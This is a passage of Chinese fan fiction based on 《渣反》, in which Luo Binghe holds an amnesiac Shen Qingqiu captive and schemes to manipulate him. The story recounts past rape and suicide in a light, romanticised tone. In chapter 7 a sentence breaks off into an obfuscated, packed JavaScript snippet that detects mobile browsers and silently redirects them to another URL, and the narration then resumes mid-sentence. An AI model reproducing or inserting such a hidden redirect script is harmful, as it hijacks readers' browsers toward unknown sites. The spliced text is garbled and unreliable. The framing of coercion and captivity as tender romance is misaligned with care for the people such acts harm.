而且就连冰哥也不敢确定,去魔界之后,那些魔气究竟能不能为沈清秋所用。毕竟他能用是因为他体内本就有魔族血脉,其他魔族能用是因为人家土生土长。 沈清秋一个纯粹的人族,修真界的灵气因他满身的魔族血排斥于他;魔气,也不一定能修炼的。 换血只能保证他不死,不代表真能将本来没有的东西凭空造出来,没有相关的魔气使用部件,魔气凭什么为他所用? 嗯。难搞。 冰哥一开始的想法只是将人唤醒,甚至还想到了若是沈清秋还执意寻死要怎么解决。可是,他是真没想到,自己能与他和谐共处这么久,并且沈清秋还主动问自己要能修炼的功法! 冰哥以为,沈清秋就算是不能修炼,手无寸铁,也会坚定的反抗自己,想方设法逃跑来着。 修炼?那个不是沈清秋睁眼之后他自己会解决的问题吗? 冰哥该做的,难道不是防止人逃跑、防止他遇见不该遇见的人,将他困在自己屋里、床上才对吗? 事情的发展,突然就来到了莫名其妙、从未设想过的地步... ———————————————————————————— 4.这就是没吃过糖的人,一点好都要拼命完成 冰哥眉头微皱,心中暗自思索。他不能随意传授功法,以免引起沈清秋的怀疑。然而,看着沈清秋直挺挺盯着自己的目光,他又没办法说出拒绝。 他是一个好床伴、好伴侣,怎么能拒绝对方对自己的要求呢!他是一统三界的龙傲天,整个世界握在手里,是全天下最牛批的人物,怎么可以让伴侣失望? 虽然这个伴侣有点调皮,有点傲娇,被推倒之后气性大的寻死觅活,甚至还耗费了冰哥数十年的心血才被唤醒。但是这些不重要,冰哥身为拥有一整个后宫,又为了沈清秋果断跨越时空抛弃妹子、这么多年只在沈清秋身边打转的‘好男人’,绝对,绝对要满足伴侣的要求! 虽然冰哥一开始是打算将人捆死在自己身边,可是他居然‘求’他欸!他会喊他‘师尊’欸!他会跟自己提要求了欸! 这样的伴侣,虽然傲娇了点,麻烦了点,老想逃跑了点,有杀伤力了点。但是谁能拒绝他!反正冰哥是绝对没办法拒绝沈清秋的‘请求’的! 冰哥轻声说道:“引气入体的法门并非轻易可授,需得你自身领悟。我可引导你感受天地间的灵气,但能否成功,还得看你的悟性。” 说罢,冰哥伸出手,放在沈清秋的额头上方,缓缓引导着他的气息。沈清秋闭上双眼,努力感受着周围的变化。他的灵根虽然还在,但是体内全是魔气,即使灵力被引入体内,不到须臾就被瓜分干净,又如何能利用灵气修炼呢? 片刻后,沈清秋的脸上露出一抹疑惑之色。他睁开眼睛,望向冰哥:“为何我丝毫感受不到灵气的存在?”不对,不是感受不到,是如同水入大海,消失无迹。 冰哥心中一沉,果然如他所料,沈清秋的身体状况异常,可能无法像正常修士那样修炼。他沉思片刻,道:“莫急,此事或许另有转机。我会想办法助你,在此期间,你先好生调养身体。” 沈清秋点了点头,眼中闪过一丝坚定:“多谢师尊,我定会加倍努力。” 冰哥看着眼前这个一脸平静、冷淡且透露出“咱俩不熟”神情的沈清秋,心里却觉得这个人实在是又乖巧又懂事,仿佛真的就如自己收了个徒弟一般,让他满心欢喜。 毕竟,他和沈清秋之间是绝对不可能出现像冰妹那样“撒娇卖萌、温热体贴”的相处模式了。 尽管如此,他们俩能够安安静静地说着话,当其中一个人说话的时候,另一个人会自然而然地转头望去,眼中有着彼此的身影,并对对方的话语做出回应,这样的情景已经是非常美好! 当然,这一切都要归功于沈清秋失去了记忆。 否则的话,即便是两人能够保持安静地交谈,空气中也必然弥漫着无形的硝烟,隐藏着难以捉摸的杀意。 至于让沈清秋恢复记忆一事?冰哥暗自下定决心,无论如何也要想尽一切办法阻止它发生。 就让时间永远停留在此刻吧,虽然沈清秋依然冷漠如旧,但至少他需要自己,甚至在某些时候还会依赖自己,在痛苦的时候能够让冰哥紧紧抱住而不反抗,这已经是冰哥所能想象到的最美好的画面了! 相反,要是哪天沈清秋真如异界那个一样,他还得考虑这家伙是不是撞了鬼了!是不是找到了能对自己一击必杀的东西,温柔的设下陷阱,只等着狠狠的将他挫骨扬灰! ———————————————————————— 5.偷偷藏个大惊喜 接下来的日子里,冰哥四处搜集资料,试图找到解决沈清秋修炼难题的方法。而沈清秋则在努力适应这个世界的同时,暗中观察着冰哥的举动。两人之间的关系,在这相处的旅途中,逐渐产生了微妙的变化...... 具体体现在,冰哥从之前的冷酷、独裁龙傲天,变成了随叫随到的弟子奴。 沈清秋有时候都有些好奇,当师傅的到底是哪方,为什么有时候冰哥对自己的态度会比自己对他还‘恭敬’、‘服从’? 据他所知,自己对冰哥也不算热情,唯有一日三餐、尝试新的修炼方法时会与对方相处。而且往往是冰哥格外热情的铺菜,拿出一堆的天材地宝让沈清秋随便造,还任劳任怨的询问沈清秋的爱好和想法,更是恨不得一天十次的帮沈清秋清洁屋子,整理衣物。 这。未免有些太过热情了些。 事出反常必有妖,无事不登三宝殿。沈清秋对冰哥的警惕心,升到了最高。 冰哥对沈清秋看向自己的眼神不仅没有变得‘含情脉脉’就算了,甚至还比一开始更警惕,简直要吐血。他都已经仿照冰妹准备一日三餐、亲自熬药、收拾屋子,怎么沈清秋反而更警惕、防备自己了? 难道冰妹并不是标准而是参考答案? 还是自己遇见的这个,只能考虑来硬的,怀柔对他压根没用? 但是这家伙也不吃硬啊!且不说自己那一世的刑罚与囚禁,就算是两人刚见面时候的打斗,这家伙脾气硬的干脆自杀,又灵魂沉寂那么多年,若非冰哥执意,现在恐怕骨头能脆的一触即碎了! 冰哥仔细思考了一番,最后将问题定在沈清秋修为上。 他是明白沈清秋对于修为的执着的,甚至为了修为几次走火入魔,连柳清歌这个苍穹山派的战力级人物,都能被沈清秋想方设法的弄死。 恐怕除了修为,沈清秋心里根本没有别的,再怎么讨好也没用。 而且他与自己性命相连,只要冰哥不死,沈清秋就死不了。既然如此,那些天材地宝也无非是让他的身体更健康一些,锦上添花罢了。 所以...冰哥心里有些蠢蠢欲动。 他是直接霸王硬上弓呢,还是先偷偷摸摸给他增添一本‘双修可提升修为’的书籍呢? —— 冰哥略微思考了一番,决定先给沈清秋一部魔族基础的修炼法门试试水。他从怀中拿出一本陈旧的书籍,递给沈清秋,“这是一本入门的魔族修炼法门,你先照着上面的方法修炼看看。” 当然,在书籍的后半部份,有份隐藏的秘法,上面书写着双修的注意事项和操作方法。至于秘法的打开方式?嗯,只要到晚上,被烛火一烤就会现形。 他相信以沈清秋的‘勤奋’,秉烛读书是必然的!最迟两天,必定能发现——想想他为了修为找自己双修的样子,真是笑意怎么都忍不住啊! 沈清秋并没有注意到冰哥略带深意的笑容,他接过书籍,翻开一看,只见上面密密麻麻地写满了奇怪的文字和图案,虽然他脑海中拥有大部分常识,但是对于魔族的文字,还是识别有些困难。 ‘看来这本书需要仔细研究了。’沈清秋心里默默想道。他随意的向冰哥行个礼,带着书籍离开。 冰哥看着转身就走的沈清秋,一边想着‘真是绝情’,一边又期待夜晚赶快到来。他已经迫不及待地想知道,若是沈清秋发现可以找自己双修后,会是怎么样的表情? 会不会主动邀约? 若是他主动邀约,自己是应下呢,还是半推半就应下,亦或是假装被他打晕应下呢? 沈清秋主动会是怎样的? 若是他主动了多次,之后恢复记忆,又会如何呢? 是羞耻的想要再次自杀,还是拔剑与冰哥在打一架?是干脆接受事实,还是一边忍着恶心一边扛不住修为的诱惑? 啊。真是,想想就美妙啊。 ———————————————————————————————— 6.两个心怀试探的人 第二天。 沈清秋看着依旧将饭菜端上饭桌、耐心布菜的冰哥,眼睛里有些审视。他明白对方的出招,甚至还没想好自己要如何接招。可,对方依旧的‘勤劳’、‘细致’、‘体贴’,就像是没事人一样。 沈清秋决定在试探一下:“师尊,这么久了,你还是没告诉我你叫什么。” “叫什么重要吗?”冰哥耐心的将手里的鱼刺剔除干净,送到沈清秋面前:“反正我们又不出门,你喊我‘师尊’即可,有什么干系。” “...”沈清秋垂眸看了眼放在自己身侧的鱼肉,晶莹剔透,散发着充沛的灵气。又看了眼桌面大大小小的菜肴与米饭,无一不是灵物,每样的灵气都堪比普通炼气期巅峰的含量。 他拒绝过冰哥给自己布菜,不会发生什么‘强迫吃’的情况。但只要自己吃了,他就会肉眼可见的神情舒展,连周遭气势都会轻松。 沈清秋老早就在好奇了,若不是两人实在不相像,他都以为对方在养儿子。或宠物。 可对方送过来的书籍明晃晃的展示了,对方对自己绝对有所图。不是打算找伴侣就是打算培养炉顶。按照这个想法推下去,对方天天做这么大一桌充满灵气的菜肴,难免不是‘猪养肥了再杀’。 而且对方对自己看得有些过于紧了。且不说平日里出不去家门,就算是出去了,这家伙也死死的跟着自己,但凡有人靠近,就会被他凶神恶煞的吓退。 如此这般...实在是,不太正常。 冰哥看着沈清秋迟迟不下筷,眼神紧盯着鱼肉,就知道这家伙又想多了。 不过也正常,这是聪明人的通病。他们习惯性思考每件事背后的意义,一旦有一点不符合他们认知,就会开始疑神疑鬼,各种试探。 沈清秋更是聪明人中的极端。尤其是他还看了太多书,几乎一个举动,他都能联想到方方面面,接着自己吓自己。而且最重要的一点,他现在记忆全失,本就因聪明的脑子想太多,没有记忆更是会让他安全感全失。疑神疑鬼什么的,只要稍加刺激,立马就能变得癫疯。 不过。 冰哥并没有打算让沈清秋癫疯,也不打算刺激他。 如今的日子不好吗?平淡,安详。两人虽接触不多,但能心平气和的聊天,偶然还可‘以疗伤’的名义或‘修炼’的名头发生肢体接触。沈清秋也不会对自己多么的闪躲与避让,给他做的菜会吃,送他的衣服会穿,带他出去玩会高兴,给他买礼物会摆在屋里。如此,多好啊。 他最好永远也不要恢复记忆,一辈子就这样安安生生的待在府里。看看书,尝试一下修炼,抚琴作画、下棋钓鱼,在过节的时候与自己一起出门,游山玩水,足矣。 本身沈清秋在清静峰过的也是这样的日子,现在在府里也是这样的日子。甚至冰哥还在庭院种下了不少的竹子,各种品种都有,连熊猫都搞了几只。 前世的那些仇怨太繁杂,你欺负我、我报复你;你推我入深渊,我拉你陷泥潭。两个都不是好东西。 本来他们的故事已经拉下帷幕。 谁让,冰哥掌握了破碎时空的能力呢。 谁让,《渣反》愣生生改换到女频故事呢。 谁让,男频里面的精神病,跑出异世界,来这个世间祸害人了呢。 我还背负着沉重的记忆、被刺激的愤怒辗转; 而你,却在虐完我之后,还高高在上、不染尘埃的做你的仙尊。 不公平,太不公平了。这个世界的‘我’太废物了,就让我,替他结束仇恨吧! 只是。 明明在我的世界里,怎么虐都杀不死的小强,怎么这次这么硬气? 一大男人,被睡了又怎么样?你自己不也经常跑勾栏红袖添香么? 前世的你被踩碎脊背,刑罚加身、肢体不全,都不曾哼一声; 怎么如今就睡了一觉,能崩溃到泪流满面不说,还直接拔剑开打? 前世的你能为其他人的生命而怅然若失、为义气而苦熬; 怎么如今如何用其他人的安危来威胁,都要义无反顾的拼死搏杀,甚至气不过自杀? 这,也太,难以理解了。 沈清秋的傲气能支撑他在一堆恶人面前咬死不松口; 也能让他在数道刑罚和肢体残缺后还坚持活着; 还能让他自毁世道风评,只为了保全他人; 但,却不能让他平静的接受和仇人睡在一起。 没有办法杀死仇人,就干脆灭了自己。 无法忍受这个世道,没有办法接受残缺,就发疯自毁。 沈清秋骨子里的,有对生的渴望;亦是对自己的厌弃。他仿佛早就作下打算,若是不能反抗,就干脆以死抗争。 他将名声和修为看得比什么都要重。 却又能为‘义气’毁掉自己的名声、废弃艰难修炼的灵气。 说句‘重情重义’,也不为过。 可若是这些跟‘接受仇人’相比,又显得没那么重要。 他能为了岳清源舍弃名声。却不能为了苍穹山派的安危接受与仇人一起。 上一世的冰哥没想过睡沈清秋,他的后宫百花齐放,犯不着去睡一个死囚犯。 穿越这个世界之前,冰哥想要的,也无非是沈清秋能正眼看他,能心平气和的聊天,能给出一个为什么要‘虐待’他的原因。 只是。事情的发展总是出乎意料。 这个眼睛里没他的人,就算是换个世界依旧没他。而他对疼痛能做出反应,冰哥自然是赐予对方疼痛。 他对自己的压倒和怀抱异常反抗,冰哥自然是要狠狠的压。 一切,只不过是时局下的,顺其自然罢了。 而沈清秋是干净的,这一点更是刺激了冰哥,让他难得的想收个后宫。即使这是他后宫第一个也可能是唯一一个,但入手不亏呀。 只是,他没想到这人的性子会如此刚烈,一招不慎,直接自杀。 而冰哥刚刚将人睡了,正是稀罕的时候,自然要为他找大夫。再说了,沈清秋想要用死亡来逃脱自己,他就让对方逃无可逃!主打的就是个叛逆。 时过境迁,他光是想办法将沈清秋唤醒,就用了五十年。 而清醒后的,虽不是傻子,却也差不多了。眼睛里的警惕和浑身的毛就没收起来过,哪怕是冰哥尽心照料,却还是起了副作用。 若非冰哥的心态在这么久的时间里发生了改变,又投入了太多的沉没成本,他简直就要放弃不干了! —————————————————————————————— 7.岳掌门,洛某先行一步 “师尊。”沈清秋的声音很平淡,听不出任何情绪波动:“我想出去转转。” “嗯?”冰哥看着突然提出这个要求的沈清秋,心中暗自思忖道,‘看来他的选择是离开阿’,不过他并未表露出来,只是淡淡的回应道:“可以,你想什么时候出门?” 沈清秋转头看了一眼窗外的天色,又想起屋内那本古籍中所剩无几的几页内容,心里暗自盘算着,‘现在不是与他的对上的时机,还是先拖延几天再说’。于是他故作轻松地回答道:“就现在吧,反正我们也没什么需要收拾的东西,不如出去游山玩水一番,如何?” “好。”对于沈清秋想要外出的想法,冰哥并没有感到太过惊讶。 他早就料到以沈清秋的本事,不出三天必定会发现那部双修功法,而且肯定会采取行动。 如今对方只不过是说要出去走走而已,又能算得了什么呢?甚至,冰哥还在心里暗暗期待着,或许在外面来一场“野战”也是个不错的选择,可以很好地‘陶冶情操’。 命运有时候就是这么巧妙得令人难以置信,仿佛冥冥之中自有天意一般。当他踏出家门、踏上旅途的第一步时,竟然就能与明矾和宁嘤嘤不期而遇。 “师尊?”已经出落得亭亭玉立的宁嘤嘤第一时间就注意到了这两个人,她一边用胳膊肘捅了捅明帆,一边压低声音道:“诶,你快看那边,那个人是不是跟咱们师尊长得特别像啊!” 明帆闻言,立刻顺着宁嘤嘤手指的方向看去。由于距离较远,他并没能看清沈清秋的面容,倒是沈清秋身旁的冰哥格外引人注目,宛如一盏明亮的探照灯般,想不看见都难。 “确实有点像……”明帆喃喃自语道,“不过旁边那个更像是洛冰河。” “洛冰河?”宁嘤嘤不由得惊呼出声,一双大眼睛瞪得浑圆,难以置信地朝着那个身影望去,“真的好像阿洛啊!可是他不是……” “嗯。”明帆点了点头,接过话头,“自从洛冰河成为魔尊之后,就再也没有在修真界出现过了。虽然那个人的确与洛冰河十分相像,但他身上似乎笼罩着一层温柔的气息,应该不会是他吧?” “经你这么一提醒,我才发现。”宁嘤嘤又仔细打量了一番那个身影,赞同地点点头, “你说得对,这个人和阿洛简直太像了,不过他看上去可比阿洛温柔多了,给人的感觉就像是带着自家孩子出来玩耍的父亲一样。” 沈清秋对他人的视线一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075137|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直很敏感,他第一时间就察觉到马路对面的情侣在望向自己。只是,沈清秋对他们两个有些熟悉,却没有印象。 “你认识他们?”冰哥随着沈清秋看过去,心里‘咯噔’一下。 他以为这个世界的洛冰河一定会将宁嘤嘤收入后宫,而明帆也会死在苍穹山派的对战里。却不料两人都还活着,并且还让沈清秋遇见了? “不认识”,沈清秋摇摇头,虽然他感觉两人似曾相识,但实在想不起在哪见过。他扭头看向冰哥:“师尊,你呢?” “我也不认识,但他们似乎对你有些熟悉。”冰哥目光幽深地盯着那对情侣,继续试探道。 “?”沈清秋眨眨眼,语气平淡得仿佛在讲一个与己无关的故事:“师尊,你知道的,我失忆了。” “嗯。”冰哥不置可否地轻哼一声,表示了解。 沈清秋暗自叹了口气,心中纠结万分。他一边急切地想要与对面的情侣交谈,以确定自己这具身体原主的情况;一边又担心引起不必要的麻烦,甚至给他们带来灾祸。 毕竟,他无法确保身旁这个看起来很平静的男人是否会因他的询问而发怒,并将怒火牵连到这对无辜的人身上。 此刻,沈清秋站在命运的十字路口,左右为难。他深知每一个选择都可能影响到自己和他人的未来,而这种压力让他感到沉重无比。 尤其是,他没有记忆不说,还不是原主。身边这个男人也并非世俗意义上的‘正人君子’,一个不好,说不定那两人就得倒大霉。 最后,沈清秋仔细权衡过后,选择离开。 “不去问问?”冰哥有些好奇。他知道沈清秋对记忆很执着,但是现在机会摆在眼前,却不去询问,都有些不太像他了。 出乎意料的是,冰哥看见了沈清秋略带幽怨的眼神,一下子明白了他的顾忌:哦,这是防着自己呢。生怕他还没问出什么,冰哥就已经让两人没法开口了。 行吧。这怎么不算‘为了自己,不接触他人呢’?冰哥对此很满意。 只是,他忘了,这些正道弟子们,都喜欢成群结队的出门。 “小九……”岳清源不知从何处冒出身影来,突然地站到了沈清秋的面前,轻声呼唤着对方的名字。 沈清秋听到声音抬起头,看到“瞬移”到自己面前的家伙,不禁眉头微皱。尤其是当他看见对方的脸,更是脑袋突然一阵刺痛袭来,胸口也感到闷闷的,很不舒服。 “你是谁?”沈清秋看着眼前这张陌生的脸孔,语气冷淡地开口问道。 面前的这个人,与自己、或者原主必然有极深的渊源。而这其中,不仅是莫名的雀跃,还有下意识的躲避与观望,以及极为隐蔽的关心与厌恶。其情感,极为复杂。 岳清源听到这话,整个人像是被定住了一般,呆呆地望着沈清秋,脸上露出难以置信的神情,仿佛一口气没有喘上来似的。 他就如同一个辛辛苦苦操持家业却最终惨遭抛弃的可怜妻子,眼神中充满了震惊和绝望:“你不认识我了?” 面对这样的质问,沈清秋只觉得莫名其妙的头更疼了些。他默默地向后退了一小步,与对方拉开距离,同时一脸疑惑地反问道:“我应该认识吗?” 岳清源显然没有预料到会得到这样的回答,一时间完全愣住了。他感受到沈清秋身后、冰哥投射过来的充满杀意的目光,又转头看向眼前明显是失去记忆的沈清秋,心中百感交集。 想到沈清秋已经失踪了整整五十多年,这期间也不知究竟发生了何事。岳清源突然拱起双手,向沈清秋行了一礼,缓缓说道:“抱歉,或许是我认错了人。” 听到岳清源这么说,沈清秋并没有太多的反应,脸上甚至没有丝毫的表情变化。实际上,此刻他的脑海中正陷入一片混乱之中,仿佛有无数的思绪在翻腾,就像是有人在用针不断地刺痛着他的大脑一样,令他根本无暇顾及其他事情。 这时,沈清秋下意识地召唤冰哥:“师尊。”声音不大,但却足以引起冰哥的注意。 冰哥缓慢走过来,看着一脸痛苦、额头上还隐隐冒出细汗的沈清秋,又看了看站在他面前的岳清源。嘴角微微上扬,露出一丝不易察觉的笑容,淡淡地应了一声:“嗯。” 接着,他又故意搂着沈清秋的肩膀,贼兮兮对岳清源说:“岳掌门可是认错了人?不过看起来倒是挺像失去了亲人的样子呢,怪可怜的。”说完,他还装出一副同情的模样。 岳清源听了冰哥的话,心中顿时涌起一股无名之火。他非常确定眼前这个说话带刺儿的家伙就是洛冰河,而站在一旁的那个人必定就是沈清秋无疑。 只是不知洛冰河到底使用了什么样的手段,竟然让沈清秋失去了记忆!想到这里,岳清源紧紧握起拳头,眼中闪过一丝愤怒和不甘。 冰哥完全不理会岳清源的愤怒,也不想管听到声响后,过来的明帆和宁嘤嘤。他将沈清秋打横抱起,语气带着毫不掩饰的炫耀:“我徒儿头疼,我要带他离开。岳掌门,洛某先行一步。” 至于身后注视自己的视线……冰哥表示,他们都是在羡慕嫉妒! —————————————————————————————— 8.不该遇见的人 沈清秋并非如冰哥展示的那般温柔无害,实际上他挣扎的很猛烈,手脚乱踢不说,嘴里还喊着什么‘我不会等你的’、‘我不会原谅你’、‘别再靠近我’... 冰哥知道,这是他遇见了‘不该遇见的人’。 可是,按理说,对沈清秋造成伤害最深的、直接导致他选择自杀的,明明应该是冰哥自己啊?为什么他遇见了明帆、宁嘤嘤都无所谓,唯独见到岳清源却发作了? 冰哥看着在床上挣扎的沈清秋,想入侵他的梦境,又害怕把人搞成傻子。 失忆的沈清秋很好,可若是傻子,就不妙了。 冰哥仔细的思考半天,又捞出来梦魇研究了半天。最后给沈清秋用了个昏睡咒,让他能安心入睡。 冰哥看着陷入沉睡的沈清秋,心中稍稍松了一口气。接下来,他需要更多的时间去弄清楚到底发生了什么事情,以及如何更好地控制住沈清秋的情绪。 毕竟。沈清秋是否恢复记忆无所谓,但要是他恢复记忆的第一件事就是砍自己,或者干脆再次自杀。那冰哥可真是,竹篮打水一场空了。 冰哥思绪半天,拿出了心魔剑。 冰妹的世界早在很久以前就能定位了。只是冰哥忙着唤醒沈清秋,一直没去过。 而今沈清秋又出现问题,看来只能问那个世界的‘沈清秋’才能解决了。 —— 冰哥看着一团糟糕的魔界和胆敢有人反抗的魔族们,随手一招就将他们击退:“真是个没用的东西,连魔界的那帮杂种都镇不住。” 冰妹嘴唇微颤,欲言又止,但最终还是在沈垣的压制下什么也没说。 冰哥看了眼被沈垣牵着手拉手的两人,觉得眼睛有点疼,接着讽刺道:“就连心魔剑都敢反噬于你,真是无能至极。” 冰妹依旧沉默着,只是拳头不自觉地握紧了。沈垣飞快的看了眼冰哥,将十指交叉的手抽出,牢牢的覆盖上冰妹紧握的拳头。 冰哥见状脸色更加冰冷,甚至有点觉得自己给他解决叛军是件多余的事情,这个‘洛冰河’绝对是个异类,明明他和本冰都是开后宫的人!于是他加大嘲讽道:“而且到现在连个女人都没有。” “......”冰妹终于忍无可忍,将压着自己肩膀的、沈垣的手握在手里,怒声吼道:“你究竟来这里做什么!” 冰哥面无表情,他会告诉冰妹自己是来寻求帮忙的吗?当然不可能。所以他露出一丝不屑的笑容:“当然是来看你这个废物有多失败。” 冰妹的脸色变得十分难看,他咬着牙,手上力道加大,从牙缝里挤出一句话:“至少我比你强!” “呵,”冰哥嘴角泛起一抹技笑,透露出属于爽文男主的无尽的自信与骄傲:“我合并两界,弹压天下,成为主宰万物的至高存在!”他的目光如寒冰般凌厉,仿佛能够穿透一切阻碍。 冰妹静静地看着他,眼神不屑,不自觉摩擦了一下沈垣的手背,轻声说道:“我有师尊。” 这四个字如同钢铁一般坚不可摧,抵挡住了冰哥所有来自龙傲天男主的光芒。 冰哥微微皱眉,面无表情的脸上布上一层冰冷,觉得这家伙绝对是‘洛冰河’这个词的耻辱。继续说道:“我有后宫佳丽三千,享尽世间荣华富贵,无人能及。”他的声音带着一□□惑,试图让冰妹心动——弱水三千,我不信你能只取一瓢。 然而,冰妹的表情没有丝毫变化,他只是抬眼看了一下沈垣,依旧重复着那句话:“我有师尊。”他的语气平静而坚定,似乎在告诉冰哥,无论他拥有多少权力和财富,都无法与“沈清秋”相比。 冰哥的脸色渐渐变得阴沉,他提高了音量:“我破碎虚空,得上古传承,被世人敬仰,成为永恒不朽的传奇!”他的身上散发出一种强大的气息,仿佛要将整个世界都踩在脚下。 但冰妹依然不为所动,他连眼神都没有更改,只是淡淡地说:“我有师尊。” 这简单的四个字却如同一把利剑,刺破了冰哥的骄傲与自负。 冰哥终于忍无可忍,怒声吼道:“够了!”他的眼神充满了愤怒和暴躁,隐约还有一丝的……被人戳穿、心虚的难堪? 冰妹看着他,突然问道:“所以,你世界的沈清秋呢?” 这句话犹如一记重锤,狠狠地敲在了冰哥的心上。 嗯。他过来的目的,是为了找‘沈清秋’,询问为什么岳清源对‘沈清秋’如此重要。可他却不是为了自己世界的‘沈清秋’。而原因,自然是...死者已逝。 失去的、终究还是难以找回来。冰哥一脸冷漠:“自然是死了。” 冰妹只是简单地应了一声:“哦。”他的声音平静而淡漠,似乎对冰哥的话并没有太多的惊讶或疑问——毕竟,就冰哥这种性格,失败简直是太正常了。 接着,冰哥看了眼视自己为洪水猛兽的沈垣,再次开口:“我去另一个世界抢了一个。”他的语气中带着一丝不易察觉的得意,但同时也透露出一丝无能为力的心酸和无奈。 冰妹的眼神中闪过一丝疑惑,他微微皱了皱眉头,问道:“也死了?”声音中带着一丝关切和不安。毕竟,这家伙要是换了个世界也弄死了,不会又想抢他的吧?还是说,他也发现了‘沈垣’与其他‘沈清秋’的不同? 冰哥沉默了一下,没有说话。他的眼神中闪过一丝痛苦和哀伤,仿佛想起了什么不堪回首的往事。他默默地调整方向,避开了冰妹的目光,直直盯着沈垣。 冰妹看着冰哥的表情,急忙变换身形,将沈垣牢牢的挡在自己身后,坚决不让冰哥的视线穿过自己,看到沈垣。 过了一会儿,冰哥深吸了一口气,缓缓地说:“嗯,死了。”他的声音很低沉,仿佛压着千斤重担一般,让人感到一种无法言喻的沉重和悲伤。 “噗,”看到难得忧伤、脆弱的冰哥,冰妹突然笑了起来,那笑声中带着一丝调侃和戏谑:“难得看到你吃瘪啊。”紧接着,他不由反问了一句:“连着死了两个,什么感觉啊?” 真的不是冰妹想刺激他,实在是这家伙狂的没边了。一脸的‘劳资天下第一’,还想跟自己抢师尊。冰妹怎么可能喜欢的起来?如今看到他吃瘪,不得好好的笑话一番? —————————————————————————————— 9.你和岳清源什么关系 然而,冰哥却依然没有回应他恶意满满的问话,只是眼神中透露出一种深深的迷茫和困惑。整个人像是被世界抛弃一般,连眼睛都显得黝黑和湿漉漉。 冰妹并不在乎冰哥的情绪,也不在意冰哥的沉默,他只想知道一件事:“所以呢?你这次来找我,难道又是想跟我争?”他一边说着,一边用眼神围着冰哥转了一圈,上下打量着他,眼中闪烁着警惕的光芒。 冰哥默默地摇了摇头,看了眼被冰妹遮挡得严严实实的沈垣,轻声说道:“不是。”他现在不想要沈垣,他只想要自己的沈清秋——虽然,也不完全算是他的。 冰妹的眉头微微一皱,追问道:“那你到底想要干什么?” 冰妹不是很能理解冰哥的操作,千里迢迢跨越时空过来,就是为了与自己打嘴仗?还是觉得他在自己世界没朋友,所以用这种方式与自己吐槽? 眼见着冰哥的情绪越发不稳定,心魔剑也开始闪烁血红色的光芒。冰妹急忙喊醒陷入魔障的冰哥:“喂!心魔剑!你要发疯回自己世界啊,别把我辛苦搞的屋子给破坏了!” 他的声音变得有些沉重和尖锐,同时伸出手,示意冰哥注意手中的心魔剑。 冰哥清醒后怔愣了一下,最终还是将心魔剑取下、放在了地上。然后,他抬起头,端正的态度仿佛像在研究什么世界级问题,他郑重望着冰妹,真诚地问道: “你,为什么你的沈清秋对你那么好?”这个问题似乎一直困扰着他,让他百思不得其解。 虽然他此次过来的目的是为了搞清楚岳清源和沈清秋的关系,从而让沈清秋从头疼、失忆的情况下缓解过来。但根本目的,还是希望自己的‘沈清秋’能与他和睦相处。 冰妹听到这句话,脸上的表情瞬间变得复杂起来。他忍不住将身后沈垣的手抓住,展开在自己手掌中,十指交叉、牢牢握住。他眼神飘远,似是在回忆过往,思索片刻后,他将沈垣从背后露出来,两人相视而笑,回答道: “因为他是我的师尊,我爱他,他爱我,我们彼此相爱。”说到最后一个句时,冰妹的声音不自觉地低了下去,眼中流露出一丝温柔和眷恋。 “……”冰哥表示他要踹飞这碗狗粮!他是来真诚求教的,不是看你花式秀恩爱的! 许是感知到了冰哥杀人般的视线,沈垣浑身一激灵,急忙将冰妹的手控制住,努力端正脸:“冰哥大大……你不能老是吓人啊,就您这拒人于千里之外的态度,谁敢跟您靠近啊……” 冰妹安抚性地轻轻拍着沈垣的后背,脸上满是骄傲之色,一双明亮的眼睛里更是止不住地流露出甜蜜的光芒来:“教你个乖,撒娇讨好并不可耻,只有没有得到师尊疼爱的人才是可怜虫!” 冰哥站在一旁,一言不发,只是默默看着眼前的两人互动。心魔剑在地上“嗡嗡”作响,似是随手准备出鞘伤人。 冰妹毫不示弱,拎起自己的心魔剑就准备出鞘。 冰哥看着‘不正经’的两人,知道问他俩纯属多余。所以他干脆的点明了自己的来意:“沈清秋,我问你,你和岳清源到底什么关系。” “嗯?”沈垣没想到问题朝自己砸过来了。这个,他和岳清源的关系?一个掌门、分发人物的npc,能有什么关系? 不对,他问的不是自己,是‘原装货’和岳清源的关系! 沈垣努力地回忆着原著中的情节——似乎,他们之间是一同乞讨的关系?他曾经短暂地进入过冰哥的"惩罚梦",在梦中,沈清秋似乎在小时候曾与岳清源一同乞讨,之后又各自拜入了苍穹山派。至于更多的细节,他便不得而知了。 “不过就是一个儿时的伙伴而已。”沈垣简明扼要地总结道。他满脸疑惑地望着冰哥,实在难以理解对方远涉而来究竟所为何事? “绝无可能。”冰哥既然开口询问,必然需要得到一个合理的答案:“你分明说过''不要抛弃我'',普通的童年玩伴何来''抛弃''一说?” “……”寂静、沉闷、却又隐隐充满了火药味。 这番话一出口,不仅沈垣茫然失措,就连冰妹都不禁有些抓狂了。冰妹向冰哥求证:“他当真如此说?” "千真万确!"冰哥义正言辞。 “师尊。”冰妹的神情骤然变得异常可怕,带着几分愤怒、几分哀怨,甚至还有几分…被欺骗后的痛苦? “没有!”沈垣猛地一激灵,后怕的拉着冰妹的手,认真的作保证:“我们真的只是童年认识,一起乞讨而已啊!”他感受着冰哥的杀人视线,艰难的咽了口唾沫,心里谴责了一下原装货的引灾能力,仔细回想道: “你说的,应该是‘我’被抓到秋家后,岳七来秋家看我,跟我保证会学到本领回来带我出去。”沈垣快速说完,接着补充道:“只是他失约了。” 沈垣紧紧的牵着冰妹的手,一句句的保证着:“我现在的世界只有你,我也是为你而来的。从不欺骗你。” 冰妹对沈垣的态度很满意。他不在乎‘沈清秋’与岳清源的关系,反正那都是过去式,只要现在的’沈清秋‘是自己的,眼睛里都是自己,就足够了。 冰妹见冰哥一直没有离开,便开口撵人:“你怎么还不走?” 冰哥依旧沉默不语,沈垣的解释看似合理,却还是不能解释‘为什么冰哥、明帆、宁嘤嘤都不会使沈清秋恢复记忆,而岳清源却能刺激到他’。两人之间必定还有别的东西,是‘沈清秋’没说或者不愿意说的。 